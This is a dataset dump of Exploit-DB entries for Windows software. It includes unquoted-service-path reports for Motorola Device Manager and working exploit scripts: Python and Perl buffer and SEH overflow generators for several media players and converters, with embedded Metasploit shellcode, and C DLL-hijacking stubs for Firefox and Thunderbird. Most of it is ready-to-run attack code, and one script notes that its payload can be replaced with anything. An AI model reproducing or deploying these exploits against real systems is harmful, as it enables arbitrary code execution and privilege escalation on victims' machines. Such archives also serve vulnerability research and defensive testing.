deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49011
Description: Motorola Device Manager 2.4.5 - 'ForwardDaemon.exe ' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Angel Canseco

Exploit:
# Exploit Title: Motorola Device Manager 2.4.5 - 'ForwardDaemon.exe ' Unquoted Service Path
# Discovery by: Angel Canseco
# Discovery Date: 2020-11-08
# Vendor Homepage: https://www.filehorse.com/es/descargar-motorola-device-manager/
# Tested Version: 2.4.5
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i
"Auto" | findstr /i /v "C:\Windows\\" | findstr /i  "PST Service  " |
findstr /i /v """


Motorola Device Manager  C:\Program Files (x86)\Motorola Mobility\Motorola
Device Manager\MotoHelperService.exe
Auto

  # Service info:

PST Service    C:\Program Files
(x86)\Motorola\MotForwardDaemon\ForwardDaemon.exe

 Auto


C:\>sc qc "PST Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: PST Service
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Motorola\MotForwardDaemon\ForwardDaemon.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : PST Service
        DEPENDENCIAS       : lanmanworkstation
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would cause the local user to be able to insert their
code in the system root path
undetected by the OS or other security applications and elevate his
privileges after reboot.
Exploit-DB #49013
Description: Motorola Device Manager 2.5.4 - 'ForwardDaemon.exe ' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Angel Canseco

Exploit:
# Exploit Title: Motorola Device Manager 2.5.4 - 'ForwardDaemon.exe 'Unquoted Service Path
# Discovery by: Angel Canseco
# Discovery Date: 2020-11-07
# Vendor Homepage: https://motorola-device-manager.programas-gratis.net/gracias
# Tested Version: 2.5.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i
"Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ForwardDaemon" |
findstr /i /v """


PST Service    C:\Program Files
(x86)\Motorola\MotForwardDaemon\ForwardDaemon.exe
Auto

C:\Users\MISTI>sc qc "PST Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: PST Service
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Motorola\MotForwardDaemon\ForwardDaemon.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : PST Service
        DEPENDENCIAS       : lanmanworkstation
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would cause the local user to be able to insert their
code in the system root path
undetected by the OS or other security applications and elevate his
privileges after reboot.
Exploit-DB #49012
Description: Motorola Device Manager 2.5.4 - 'MotoHelperService.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Angel Canseco

Exploit:
# Exploit Title: Motorola Device Manager 2.5.4 - 'MotoHelperService.exe' Unquoted Service Path
# Discovery by: Angel Canseco
# Discovery Date: 2020-11-07
# Vendor Homepage: https://motorola-device-manager.programas-gratis.net/descarga-completada
# Tested Version: 2.5.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i
"Auto" | findstr /i /v "C:\Windows\\" | findstr /i "MotoHelperService " |
findstr /i /v """

Motorola Device Manager Service

Motorola Device Manager  C:\Program Files (x86)\Motorola Mobility\Motorola
Device Manager\MotoHelperService.exe
Auto


# Service info:

C:\>sc qc "Motorola Device Manager"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Motorola Device Manager
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Motorola
Mobility\Motorola Device Manager\MotoHelperService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Motorola Device Manager Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would cause the local user to be able to insert their
code in the system root path
undetected by the OS or other security applications and elevate his
privileges after reboot.
Exploit-DB #16153
Description: MoviePlay 4.82 - '.lst' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-02-11
Author: sickness

Exploit:
#!/usr/bin/env python
# MoviePlay 4.82 (.lst) Buffer Overflow
# Author: sickness
# Download : http://www.softpedia.com/get/Multimedia/Video/Video-Players/MoviePlay.shtml
# Previous version exploit can be found here: http://www.exploit-db.com/exploits/4051/
# Tested : Windows XP Professional SP3 (EN) latest updates with IE8
# DATE   : 10/02/2011
###################################################################
# You might need to change the EIP address
# The payload can be replaced with whatever you want, there is enough space.
###################################################################

begin = "\x5b\x4d\x6f\x76\x69\x65\x50\x6c\x61\x79\x5d\x0d\x0a\x46\x69\x6c\x65\x4e\x61\x6d\x65\x30\x3d\x43\x3a\x5c"
junk = '\x90' * 1085
eip = '\xD7\x30\x9D\x7C'	# JMP ESP SHELL32.dll
nops = '\x90'*16

# msfpayload windows/exec CMD=calc.exe R | msfencode -a x86 -t c
sc = ("\xbe\x41\x9e\x4e\xd0\x33\xc9\xda\xd7\xd9\x74\x24\xf4\xb1\x33"
"\x58\x31\x70\x10\x83\xe8\xfc\x03\x31\x92\xac\x25\x4d\x42\xb9"
"\xc6\xad\x93\xda\x4f\x48\xa2\xc8\x34\x19\x97\xdc\x3f\x4f\x14"
"\x96\x12\x7b\xaf\xda\xba\x8c\x18\x50\x9d\xa3\x99\x54\x21\x6f"
"\x59\xf6\xdd\x6d\x8e\xd8\xdc\xbe\xc3\x19\x18\xa2\x2c\x4b\xf1"
"\xa9\x9f\x7c\x76\xef\x23\x7c\x58\x64\x1b\x06\xdd\xba\xe8\xbc"
"\xdc\xea\x41\xca\x97\x12\xe9\x94\x07\x23\x3e\xc7\x74\x6a\x4b"
"\x3c\x0e\x6d\x9d\x0c\xef\x5c\xe1\xc3\xce\x51\xec\x1a\x16\x55"
"\x0f\x69\x6c\xa6\xb2\x6a\xb7\xd5\x68\xfe\x2a\x7d\xfa\x58\x8f"
"\x7c\x2f\x3e\x44\x72\x84\x34\x02\x96\x1b\x98\x38\xa2\x90\x1f"
"\xef\x23\xe2\x3b\x2b\x68\xb0\x22\x6a\xd4\x17\x5a\x6c\xb0\xc8"
"\xfe\xe6\x52\x1c\x78\xa5\x38\xe3\x08\xd3\x05\xe3\x12\xdc\x25"
"\x8c\x23\x57\xaa\xcb\xbb\xb2\x8f\x24\xf6\x9f\xb9\xac\x5f\x4a"
"\xf8\xb0\x5f\xa0\x3e\xcd\xe3\x41\xbe\x2a\xfb\x23\xbb\x77\xbb"
"\xd8\xb1\xe8\x2e\xdf\x66\x08\x7b\xbc\xe9\x9a\xe7\x6d\x8c\x1a"
"\x8d\x71")

exploit = junk + eip + nops + sc
rest = '\x90'*(2000-len(exploit))
end="\x2e\x6d\x70\x33\x0d\x0a\x46\x69\x6c\x65\x4e\x61\x6d\x65\x31\x3d\x0d\x0a\x4e\x75\x6d\x46\x69\x6c\x65\x73\x3d\x31\x0d\x0a"

try:
	f = open("evil.lst","w");
	f.write(begin+exploit+rest+end)
	f.close()
	print "Done!"
except:
	print "Something went wront!"
Exploit-DB #14730
Description: Mozilla Firefox 3.6.8 - 'dwmapi.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-24
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: Firefox <= 3.6.8 DLL Hijacking Exploit [dwmapi.dll]
Date: August 24, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest Firefox v3.6.8
Tested on: Windows XP SP3 En
Vulnerable extensions: .htm .html .jtx .mfp
Greetz: Astalavista, OffSEC, Exploit-DB
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void CPAcquireContext() { pwn(); }
DllExport void DWMAPI_100() { pwn(); }
DllExport void DWMAPI_101() { pwn(); }
DllExport void DwmEnableComposition() { pwn(); }
DllExport void DWMAPI_103() { pwn(); }
DllExport void DWMAPI_104() { pwn(); }
DllExport void DWMAPI_105() { pwn(); }
DllExport void DWMAPI_106() { pwn(); }
DllExport void DWMAPI_107() { pwn(); }
DllExport void DWMAPI_108() { pwn(); }
DllExport void DWMAPI_109() { pwn(); }
DllExport void DWMAPI_110() { pwn(); }
DllExport void DWMAPI_111() { pwn(); }
DllExport void DWMAPI_112() { pwn(); }
DllExport void DWMAPI_113() { pwn(); }
DllExport void DWMAPI_115() { pwn(); }
DllExport void DWMAPI_116() { pwn(); }
DllExport void DWMAPI_117() { pwn(); }
DllExport void DWMAPI_118() { pwn(); }
DllExport void DWMAPI_119() { pwn(); }
DllExport void DWMAPI_120() { pwn(); }
DllExport void DwmAttachMilContent() { pwn(); }
DllExport void DwmDefWindowProc() { pwn(); }
DllExport void DwmDetachMilContent() { pwn(); }
DllExport void DwmEnableBlurBehindWindow() { pwn(); }
DllExport void DwmEnableMMCSS() { pwn(); }
DllExport void DwmExtendFrameIntoClientArea() { pwn(); }
DllExport void DwmFlush() { pwn(); }
DllExport void DwmGetColorizationColor() { pwn(); }
DllExport void DwmGetCompositionTimingInfo() { pwn(); }
DllExport void DwmGetGraphicsStreamClient() { pwn(); }
DllExport void DwmGetGraphicsStreamTransformHint() { pwn(); }
DllExport void DwmGetTransportAttributes() { pwn(); }
DllExport void DwmGetWindowAttribute() { pwn(); }
DllExport void DwmIsCompositionEnabled() { pwn(); }
DllExport void DwmModifyPreviousDxFrameDuration() { pwn(); }
DllExport void DwmQueryThumbnailSourceSize() { pwn(); }
DllExport void DwmRegisterThumbnail() { pwn(); }
DllExport void DwmSetDxFrameDuration() { pwn(); }
DllExport void DwmSetPresentParameters() { pwn(); }
DllExport void DwmSetWindowAttribute() { pwn(); }
DllExport void DwmUnregisterThumbnail() { pwn(); }
DllExport void DwmUpdateThumbnailProperties() { pwn(); }

int pwn()
{
  MessageBox(0, "Firefox DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}
Exploit-DB #14783
Description: Mozilla Thunderbird - 'dwmapi.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: h4ck3r#47

Exploit:
/* 
Exploit Title: Mozilla Thunderbird DLL Hijacking Exploit ( dwmapi.dll )
Date: 26/08/2010
Author: h4ck3r#47 
http://twitter.com/hxteam
Version: Latest Mozilla Thunderbird 3.1.2 
Tested on: Windows XP SP3
The code is based on the exploit from "TheLeader"
Vulnerable extensions: .eml .html
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void  DwmDefWindowProc() { evil(); }
DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void  DwmEnableComposition() { evil(); }
DLLIMPORT void  DwmEnableMMCSS() { evil(); }
DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void  DwmGetColorizationColor() { evil(); }
DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void  DwmGetWindowAttribute() { evil(); }
DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void  DwmRegisterThumbnail() { evil(); }
DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void  DwmSetPresentParameters() { evil(); }
DLLIMPORT void  DwmSetWindowAttribute() { evil(); }
DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
Exploit-DB #15785
Description: MP3 CD Converter Professional - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-12-20
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/python
#
#
#Python File Created BY C4SS!0 G0MES
#http://www.invasao.com.br
#Louredo_@hotmail.com
#
#
#[+]Exploit Titule: Exploit Buffer Overflow MP3 CD Converter Professional(SEH)
#[+]Date: 12/20/2010
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.mp3-cd-converter.com/mp3cdconverter.exe
#[+]Version: 5.0.3
#[+]Tested On: WIN-XP SP3 Virtual Box
#[+]CVE: N/A
#
#
#


import os
import sys
import struct
import time

def usage():
    os.system("cls")
    os.system("color 4f")
    print("\n"
    "=====================================================================\n"
    "||                                                                 ||\n"
    "||      Exploit Buffer Overflow MP3 CD Converter Professional(SEH) ||\n"
    "||      Author C4SS!0 G0M3S                                        ||\n||"
    "                                                                 ||\n"
    "=====================================================================\n\n")

    print("[+]Exploit: Exploit Buffer Overflow MP3 CD Converter Professional(SEH)")
    print("[+]Date: 12/20/2010")
    print("[+]Author: C4SS!0 G0M3S")
    print("[+]E-mail: Louredo_@hotmail.com")
    print("[+]Home: http://www.invasao.com.br")
    print("[+]Impact: Hich")
    print("[+]Version: 5.0.3")
    print("[+]Country: Brazil\n")

if len(sys.argv) !=2:
    usage()
    print "[-]Usage: "+sys.argv[0]+" <File Name>"
    print "[-]Exemple: "+sys.argv[0]+" Exploit.pls"
    sys.exit(0)

buffer = "\x41" * 780
nseh = "\xeb\x0d\x90\x90"  #JMP SHORT 14
seh = struct.pack('<L',0x0077cebf)
nops = "\x90" * 10
usage()
print "[*]Identifying the length Shellcode"
time.sleep(1)
shellcode = ("\x33\xC0\x33\xC9\x33\xD2\x33\xDB\x50\x68\x6C\x6C\x20\x20\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x54\x58\xBB\x7B\x1D\x80\x7C\x50"
"\xFF\xD3\x90\x33\xD2\x52\xB9\x5E\x67\x30\xEF\x81\xC1\x11\x11\x11\x11\x51\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x54\x5A\x52\x50"
"\xB9\x30\xAE\x80\x7C\xFF\xD1\x33\xC9\x33\xD2\x33\xDB\x51\x68\x53\x20\x20\x20\x68\x47\x30\x4D\x33\x68\x53\x21\x30\x20\x68\x20\x43"
"\x34\x53\x68\x64\x20\x42\x79\x68\x6F\x69\x74\x65\x68\x45\x78\x70\x6C\x54\x59\x53\x68\x21\x30\x20\x20\x68\x43\x34\x53\x53\x54\x5B"
"\x6A\x40\x53\x51\x52\xFF\xD0\x33\xC0\x50\xBE\xFA\xCA\x81\x7C\xFF\xD6")

print "[*]The length is Shellcode:"+str(len(shellcode))
time.sleep(1)



payload = str(buffer+nseh+seh+nops+shellcode)

print "[*]Creating the Archive "+sys.argv[1]
time.sleep(1)
file = sys.argv[1]
try:
    f=open(file,"w")
    f.write(payload)
    f.close()
    print "[*]The Archive was created "+str(file)+" Success"
    time.sleep(1)
except:
    print "[-]Error Creating File "+file
Exploit-DB #9291
Description: MP3 Studio 1.0 - '.mpf' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-28
Author: Koshi

Exploit:
#!/usr/bin/perl
#
# MP3 Studio v1.0 (mpf File) Local BOF Exploit (SEH)
# Exploited by: Koshi
# Download: http://www.software112.com/products/mp3-millennium+download.html
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277 )
# Tested on WinXP SP3
#
# I've used addresses from "xuadio.dll", which is shipped with the package.
#

# win32_exec -  EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66".
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x76\x42\x32\x42\x41\x32".
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x49\x79\x4b\x4c\x4d".
"\x38\x43\x74\x67\x70\x63\x30\x67\x70\x4c\x4b\x41\x55\x37\x4c\x6c".
"\x4b\x41\x6c\x73\x35\x53\x48\x64\x41\x4a\x4f\x6c\x4b\x70\x4f\x67".
"\x68\x6c\x4b\x41\x4f\x57\x50\x45\x51\x5a\x4b\x53\x79\x4e\x6b\x74".
"\x74\x6c\x4b\x76\x61\x38\x6e\x64\x71\x59\x50\x6e\x79\x4e\x4c\x6b".
"\x34\x79\x50\x63\x44\x73\x37\x4a\x61\x69\x5a\x44\x4d\x76\x61\x6b".
"\x72\x7a\x4b\x4b\x44\x35\x6b\x50\x54\x77\x54\x65\x54\x71\x65\x4d".
"\x35\x6e\x6b\x61\x4f\x64\x64\x65\x51\x7a\x4b\x63\x56\x4c\x4b\x56".
"\x6c\x50\x4b\x4e\x6b\x43\x6f\x47\x6c\x65\x51\x6a\x4b\x6c\x4b\x55".
"\x4c\x6c\x4b\x64\x41\x68\x6b\x6d\x59\x63\x6c\x45\x74\x75\x54\x59".
"\x53\x36\x51\x4b\x70\x71\x74\x6e\x6b\x67\x30\x30\x30\x6f\x75\x6b".
"\x70\x30\x78\x64\x4c\x4c\x4b\x37\x30\x44\x4c\x6e\x6b\x54\x30\x47".
"\x6c\x6e\x4d\x6e\x6b\x53\x58\x75\x58\x6a\x4b\x76\x69\x4e\x6b\x6b".
"\x30\x6c\x70\x37\x70\x47\x70\x35\x50\x4c\x4b\x50\x68\x57\x4c\x51".
"\x4f\x35\x61\x6c\x36\x63\x50\x52\x76\x4f\x79\x6c\x38\x6b\x33\x6f".
"\x30\x31\x6b\x36\x30\x33\x58\x73\x4e\x69\x48\x6b\x52\x44\x33\x55".
"\x38\x6d\x48\x4b\x4e\x4d\x5a\x74\x4e\x50\x57\x4b\x4f\x48\x67\x71".
"\x73\x62\x41\x32\x4c\x45\x33\x56\x4e\x55\x35\x61\x68\x31\x75\x75".
"\x50\x66";

my $jmpe = "\x3f\x5e\x03\x10";			# 0x10035E3F jmp esp (xaudio.dll)
my $nseh = "\xeb\xf1\x90\x90";			# Get back to where we once belong.
my $eseh = "\xfd\x61\x03\x10";			# 0x100361FD jmp edi (xaudio.dll)
my $phun = "\x33\xc0\x33\x45\xf8\x04\x05\xff\xe0";
#
#	XOR EAX,EAX
#	XOR EAX,DWORD PTR SS:[EBP-8]
#	ADD AL,5
#	JMP EAX
#
my $leng = 4103 - length($shellcode) - length($phun);
my $buff = "\x41"x$leng;
my $tuff = "http:".$buff.$shellcode.$phun.$jmpe.$nseh.$eseh;

open (MYFILE, '>>exploit.mpf');
print MYFILE "$tuff";
close (MYFILE);
print "Exploit file has been created. ( exploit.mpf )\n";

# milw0rm.com [2009-07-28]
Exploit-DB #11205
Description: MP3 Studio 1.x - '.m3u' Local Stack Overflow (Universal)
Type: local
Platform: windows
Date: 2010-01-20
Author: D3V!L FUCKER

Exploit:
#!/usr/bin/perl  

# Exploit Title: MP3 Studio v1.X (.m3u File) Local Stack Overflow  Universal 

# Date: 01/20/2010  

# Author: D3V!L FUCKER  

# Software Link: http://www.freewarezoom.com/archives/millennium-mp3-studio  

# Version: 1.X  

# Tested on: Windows XP SP2 , SP3


# Greetz [2] : THE INJECTIOR , sarbot511 , Thrid Devil , germaya_x , his0k4

# www.v99x.com <<< W3 M!ss y0u :( 
   

$buff = "http://"."\x41" x 4103; 
$SEH = "\xeb\x1b\x90\x90"; 
$NEX_SEH = "\x5B\x06\x02\x10";   
$nob = "\x90" x 22;
$sc =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".  
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47".  
"\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32".  
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a".  
"\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e".  
"\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54".  
"\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64".  
"\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f".  
"\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f".  
"\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d".  
"\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44".  
"\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35".  
"\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a".  
"\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b".  
"\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57".  
"\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b".  
"\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63".  
"\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59".  
"\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73".  
"\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63".  
"\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33".  
"\x30\x47";  
open(myfile,'>>4bdull4h.m3u');  
print myfile $buff.$SEH.$NEX_SEH.$nob.$sc;  
close(myfile);
Exploit-DB #42551
Description: MP3 WAV to CD Burner 1.4.24 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2017-08-24
Author: Anurag Srivastava

Exploit:
#!/usr/bin/python
 
###############################################################################
# Exploit Title:        MP3 WAV to CD Burner 1.4.24 - 'Enter User Name' Field Buffer Overflow (SEH)
# Date:                 24-08-2017
# Exploit Author:       Anurag Srivastava 
# Website:		www.pyramidcyber.com
# Vulnerable Software:  MP3 WAV to CD Burner 
# Vendor Homepage:      http://www.divxtodvd.net/
# Version:              1.4.24
# Software Link:        http://www.divxtodvd.net/mp3_cd_burner.exe
# Tested On:            Windows 7 x64 
#   All the vendor's softwares below are affected to this bug which all can be found in http://www.divxtodvd.net/ till date 24-08-2017 .
#   Easy MPEG/AVI/DIVX/WMV/RM to DVD
#   Easy Avi/Divx/Xvid to DVD Burner
#   Easy MPEG to DVD Burner
#   Easy WMV/ASF/ASX to DVD Burner
#   Easy RM RMVB to DVD Burner
#   Easy CD DVD Copy
#   MP3/AVI/MPEG/WMV/RM to Audio CD Burner
#   MP3/WAV/OGG/WMA/AC3 to CD Burner
#   Easy MOV Converter
#   Easy Video to iPod Converter
#   Easy Video to PSP Converter
#   Easy Video to 3GP Converter
#   Easy Video to MP4 Converter
#
#
# To reproduce the exploit:
#   1. Click Register
#   2. In the "Enter User Name" field, paste the content of pyramid.txt
#
##############################################################################
 

buffer = "\x41" * 1008   
 
nSEH = "\xeb\x10\x90\x90"
 
# 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = "\x59\x78\x03\x10"
 
badchars = "\x00\x0a\x0d" # and 0x80 to 0xff
 
# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
buf =  ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
 
nops = "\x90" * 16
 
badchars = "\x0a\x0d"
 
data = buffer + nSEH + SEH + nops + buf
 
f = open ("pyramid.txt", "w")
f.write(data)
f.close()